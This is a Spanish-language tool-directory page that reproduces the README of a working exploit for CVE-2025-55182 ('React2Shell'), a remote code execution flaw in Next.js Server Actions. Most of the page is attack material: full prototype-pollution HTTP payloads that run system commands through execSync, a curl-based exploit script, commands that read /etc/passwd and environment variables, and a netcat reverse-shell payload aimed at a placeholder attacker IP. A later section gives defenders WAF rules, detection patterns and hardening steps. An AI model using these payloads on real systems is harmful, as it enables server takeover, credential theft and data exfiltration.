Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
react2shell-exploit — CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions. | Kitploit
Herramientas/GitHubGitHub/yannisduvignau/react2shell-exploit
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 3 mesesAún no revisado

CVE-2025-55182 – React2Shell

Ejecución Remota de Código en Next.js

⚠️ Descargo de responsabilidad: Esta documentación se proporciona solo con fines educativos y de investigación de seguridad. Cualquier uso no autorizado de estas técnicas contra sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas es ilegal.


📋 Tabla de contenidos

  1. Visión general
  2. Cómo funciona
  3. Instalación y configuración
  4. Explotación paso a paso
  5. Resultados e impacto
  6. Estrategias de mitigación

Visión general

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilicen:

  • React Server Components (RSC)
  • Server Actions

¿Por qué es peligroso?

Un atacante puede lograr Ejecución Remota de Código (RCE) en el servidor explotando:

  1. Deserialización insegura de payloads RSC
  2. Contaminación de prototipos mediante __proto__ y constructor
  3. Rutas de ejecución dinámica en el runtime del servidor de Next.js

Consecuencia: Se pueden ejecutar comandos arbitrarios del sistema con los privilegios del proceso de Node.js.


Cómo funciona

Etapa 1: Protocolo RSC de Next.js

Next.js utiliza un protocolo multipart/form-data propietario para la comunicación entre cliente y servidor:

  • El cliente envía React Server Components al servidor
  • El servidor los deserializa y procesa
  • El resultado se devuelve al cliente
root@kitploit:~
Cliente (Navegador)
    ↓
[payload RSC multipart/form-data]
    ↓
Servidor Next.js
    ↓
Deserialización + Ejecución
    ↓
Respuesta

Etapa 2: La debilidad - Deserialización insegura

La vulnerabilidad existe porque:

  1. Los datos controlados por el usuario no se validan antes de la deserialización
  2. Se permite el acceso a la cadena de prototipos (__proto__, constructor)
  3. Ciertos campos se evalúan dinámicamente durante el procesamiento de la solicitud

Etapa 3: Ataque de contaminación de prototipos

Un atacante puede crear un payload que modifique propiedades internas de objetos:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Apunta a la cadena de prototipos
  "_response": {
    "_prefix": "código malicioso aquí"  // Inyección de código
  }
}

Al explotar __proto__, el atacante contamina el prototipo de los objetos JavaScript, afectando a todos los objetos que heredan de él.

Etapa 4: Inyección de código

Dentro del campo _prefix, el atacante inyecta código JavaScript que:

  1. Accede al módulo de Node.js mediante process.mainModule.require()
  2. Carga el módulo child_process
  3. Ejecuta comandos del sistema usando execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Etapa 5: Extracción del resultado

El resultado del comando se oculta en la respuesta de error:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js devuelve este error al cliente y la salida del comando es visible en el campo digest.


Instalación y configuración

Requisitos previos

  • Node.js 20
  • Burp Suite (o herramienta similar para interceptación de solicitudes)
  • curl o Postman (para enviar payloads)

Paso 1: Clonar e instalar el servidor vulnerable

root@kitploit:~
# Clonar el PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Instalar Node.js 20
nvm install 20
nvm use 20

# Instalar dependencias
cd test-server
npm install

Paso 2: Iniciar el servidor

root@kitploit:~
npm run dev

El servidor ahora es accesible en:

root@kitploit:~
http://localhost:3000

Paso 3: Verificar que el servidor está funcionando

root@kitploit:~
curl http://localhost:3000/

En esta etapa, el servidor se comporta con normalidad.


Explotación paso a paso

Enfoque 1: Usando Burp Suite (Interceptación manual)

Paso 1: Activar la interceptación

  1. Abra Burp Suite
  2. Vaya a Proxy → Intercept
  3. Active Intercept is on
  4. Acceda a http://localhost:3000/ en su navegador

Paso 2: Interceptar la solicitud

Se interceptará una solicitud GET. Envíela a la pestaña Repeater:

  1. Haga clic derecho → Send to Repeater
  2. Vaya a la pestaña Repeater

Paso 3: Reemplazar con payload malicioso

Reemplace toda la solicitud con el siguiente payload:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Paso 4: Enviar la solicitud

Haga clic en Send


Enfoque 2: Script de explotación automatizado

Cree un archivo exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Construir el payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Reemplazar el comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Enviar la solicitud
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Hágalo ejecutable:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Comandos de ejemplo

Listar archivos y directorios

root@kitploit:~
COMMAND="ls -la /"

Obtener usuario actual

root@kitploit:~
COMMAND="whoami"

Leer un archivo

root@kitploit:~
COMMAND="cat /etc/passwd"

Verificar conexiones de red

root@kitploit:~
COMMAND="netstat -tuln"

Obtener variables de entorno

root@kitploit:~
COMMAND="env"

Reverse Shell (Acceso completo al servidor)

Para obtener acceso interactivo completo a la shell, use una reverse shell.

En la máquina atacante: Escuchar conexiones

root@kitploit:~
ncat -lvnp 9009

O con netcat:

root@kitploit:~
nc -lvnp 9009

En el objetivo: Enviar payload de reverse shell

Modifique el payload con el siguiente comando (reemplace <ATTACKER_IP> con su dirección IP):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

El payload completo queda:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Resultado esperado

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Ahora tiene una shell completamente interactiva en el servidor objetivo.


Resultados e impacto

Respuesta del servidor

Tras una explotación exitosa:

  1. El servidor responde con HTTP 500 Internal Server Error
  2. El cuerpo de la respuesta contiene la salida del comando del sistema ejecutado
  3. La salida está incrustada en el campo digest dentro de la respuesta de error

Ejemplo de respuesta

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impactos potenciales

  • 🔥 Ejecución Remota de Código (RCE) completa
  • 📂 Acceso completo al sistema de archivos
  • 🔐 Robo de credenciales y secretos
  • 🚨 Movimiento lateral dentro de redes internas
  • 💥 Compromiso total del servidor
  • 🔗 Ataques a la cadena de suministro (si se usa para comprometer aplicaciones desplegadas)
  • 📊 Exfiltración y manipulación de datos

Estrategias de mitigación

Para administradores de sistemas

1. Actualizar Next.js inmediatamente

root@kitploit:~
npm install next@latest

Asegúrese de estar usando una versión parcheada de Next.js. Consulte los avisos de seguridad oficiales.

2. Validación estricta de payloads RSC

Agregue una validación estricta de los payloads RSC entrantes:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Rechazar payloads sospechosos
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Bloquear payloads que contengan patrones peligrosos
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SEGURIDAD] Intento de payload malicioso desde ${request.ip}`);
      return new NextResponse('Prohibido', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Deshabilitar Server Actions si no son necesarias

En next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Deshabilitar si no es necesario
    }
  }
};

4. Ejecutar Node.js con privilegios mínimos

root@kitploit:~
# Crear un usuario dedicado
useradd -r -s /bin/false nextjs

# Ejecutar el servicio bajo este usuario
sudo -u nextjs node server.js

# O con systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Aislamiento en contenedor con capacidades reducidas

Use Docker con capacidades restringidas:

root@kitploit:~
FROM node:20-alpine

# Crear usuario no root
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Ejecute el contenedor con capacidades restringidas:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Monitorear solicitudes sospechosas

Implemente un registro completo:

root@kitploit:~
// Middleware de registro personalizado
app.use((req, res, next) => {
  // Registrar todas las solicitudes POST con cabecera Next-Action
  if (req.method === 'POST' && req.headers['next-action']) {
    const patronesSospechosos = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const esSospechoso = patronesSospechosos.some(pattern => bodyString.includes(pattern));
    
    if (esSospechoso) {
      console.error(`[ALERTA_SEGURIDAD] Intento de explotación detectado desde ${req.ip}`);
      console.error(`[ALERTA_SEGURIDAD] User-Agent: ${req.get('user-agent')}`);
      console.error(`[ALERTA_SEGURIDAD] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alertar al equipo de seguridad
      // sendSecurityAlert(`Intento de explotación desde ${req.ip}`);
      
      return res.status(403).json({ error: 'Prohibido' });
    }
  }
  
  next();
});

7. Implementar un Firewall de Aplicaciones Web (WAF)

Configure su WAF para bloquear:

Reglas ModSecurity:

root@kitploit:~
# Bloquear __proto__ en el cuerpo de la solicitud
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Ataque de contaminación de prototipos'"

# Bloquear constructor en el cuerpo de la solicitud
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Ataque de contaminación de prototipos'"

# Bloquear acceso al módulo child_process
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Intento de ejecución de código'"

# Bloquear la función execSync
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Intento de ejecución de código'"

# Bloquear declaraciones require()
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Intento de carga de módulo'"

Ejemplo de AWS WAF:

root@kitploit:~
{
  "Name": "BloquearIntentosRCE",
  "Rules": [
    {
      "Name": "BloquearContaminacionProto",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BloquearContaminacionProto"
      }
    }
  ]
}

8. Cabeceras de Política de Seguridad de Contenido (CSP)

Aunque CSP protege principalmente al lado del cliente, es una buena práctica:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Auditorías de seguridad periódicas

root@kitploit:~
# Escanear dependencias en busca de vulnerabilidades
npm audit
npm audit fix

# Usar snyk para monitoreo continuo
snyk monitor

# Pruebas de penetración regulares
# Programar evaluaciones de seguridad trimestrales

10. Plan de respuesta a incidentes

Si sospecha de una explotación:

root@kitploit:~
# 1. Revisar logs en busca de patrones sospechosos
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Verificar el historial de procesos
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Verificar conexiones de red
netstat -tuln
lsof -i -P -n

# 4. Aislar el sistema afectado
sudo iptables -I INPUT -j DROP

# 5. Preservar pruebas y logs
tar -czf /backup/incidente-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notificar al equipo de seguridad y aplicar parches

Análisis técnico profundo

Desglose del payload

root@kitploit:~
{
  // Paso 1: Apuntar a la cadena de prototipos
  "then": "$1:__proto__:then",
  
  // Paso 2: Marcar como modelo resuelto
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Paso 3: Inyectar código a través de _response
  "_response": {
    // El código JavaScript inyectado
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMANDO',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Referencia a los datos del formulario
    "_chunks": "$Q2",
    
    // Acceder al constructor a través de los datos del formulario
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Por qué funciona

  1. Análisis multipart: Next.js analiza los datos del formulario multipart
  2. Resolución de referencias: Las referencias como $1 se resuelven a otros campos del formulario
  3. Reconstrucción de objetos: Los objetos se reconstruyen a partir de los datos analizados
  4. Contaminación de prototipos: La ruta __proto__ modifica el prototipo del objeto
  5. Ejecución de código: El campo _prefix se evalúa durante el manejo de errores
  6. Ejecución de comandos: execSync ejecuta el comando arbitrario
  7. Exfiltración del resultado: La salida se incrusta en el digest del error

Recursos adicionales

  • PoC original: https://github.com/msanft/CVE-2025-55182/
  • Documentación de seguridad de Next.js: https://nextjs.org/docs/security
  • Contaminación de prototipos OWASP: https://owasp.org/www-community/attacks/Prototype_pollution
  • Mejores prácticas de seguridad de Node.js: https://nodejs.org/en/docs/guides/security/
  • CWE-502: Deserialización de datos no confiables: https://cwe.mitre.org/data/definitions/502.html

Conclusión

CVE-2025-55182 (React2Shell) demuestra riesgos críticos asociados con:

✅ Deserialización insegura de datos controlados por el usuario ✅ Contaminación de prototipos en cadenas de prototipos de JavaScript ✅ Ejecución dinámica de código sin validación adecuada

Esta vulnerabilidad refuerza la importancia de:

  • 🔒 Validación de entrada: Nunca confíe en la entrada del usuario
  • 🛡️ Defensa en profundidad: Use múltiples capas de protección
  • ⚠️ Mantener los frameworks actualizados: Aplicar parches de seguridad inmediatamente
  • 🔍 Monitoreo y registro: Detectar comportamientos sospechosos
  • 🔐 Principio de mínimo privilegio: Ejecutar servicios con permisos mínimos
  • 🧪 Pruebas de seguridad periódicas: Realizar auditorías y pruebas de penetración

Licencia: Solo para uso educativo: el acceso no autorizado a sistemas informáticos es ilegal.

Para investigación de seguridad legítima y pruebas autorizadas, asegúrese de tener permiso por escrito del propietario del sistema antes de realizar cualquier prueba.

Descargar herramienta